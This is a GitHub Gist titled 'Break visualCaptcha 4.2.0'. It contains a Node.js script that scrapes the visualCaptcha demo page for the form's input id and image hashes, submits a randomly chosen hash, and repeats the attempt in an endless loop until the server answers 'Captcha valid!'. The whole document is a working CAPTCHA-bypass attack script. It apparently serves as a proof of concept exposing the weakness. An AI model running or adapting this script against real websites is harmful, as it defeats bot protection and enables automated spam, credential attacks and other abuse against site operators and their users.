Last active
December 21, 2015 05:39
-
-
Save ipeychev/6258587 to your computer and use it in GitHub Desktop.
Break visualCaptcha 4.2.0
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var request = require('request'); | |
request = request.defaults({jar: true}); | |
var URI = 'http://demo.visualcaptcha.net/'; | |
function getRandomInteger(min, max) { | |
return Math.floor(Math.random() * (max - min + 1)) + min; | |
} | |
(function makeAttempt() { | |
request.get(URI, function (error, response, body) { | |
if (!error && response.statusCode === 200) { | |
var imageHash = [], | |
inputIdRegExp = /=[\s\r\n]*{[\s\S]*?['"]n['"][\r\n\s]*:[\r\n\s]*['"]([^'"]+)['"]/, | |
inputId = inputIdRegExp.exec(body)[1], | |
formData, | |
formActionRegExp = /<form.*action="([^"]+)"/, | |
action = formActionRegExp.exec(body)[1], | |
imgRegExp = /<img.*data-value="([^"]+)"/g, | |
match = imgRegExp.exec(body); | |
while (match != null) { | |
imageHash.push(match[1]); | |
match = imgRegExp.exec(body); | |
} | |
imgHashNumber = getRandomInteger(0, 4); | |
imgHash = imageHash[imgHashNumber]; | |
console.log('Making atttempt using this hash: ' + imgHash + ' and this inputId: ' + inputId); | |
formData = { | |
form_submit: 1 | |
}; | |
formData[inputId] = imgHash; | |
request.post( | |
URI + action, | |
{ | |
form: formData | |
}, | |
function (error, response, body) { | |
if (!error && response.statusCode === 200) { | |
if (body.indexOf('Captcha valid!') > 0){ | |
console.log('Found it :)'); | |
} | |
} | |
makeAttempt(); | |
} | |
); | |
} | |
else { | |
console.log('Damn, server seems to be down'); | |
} | |
}); | |
}()); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment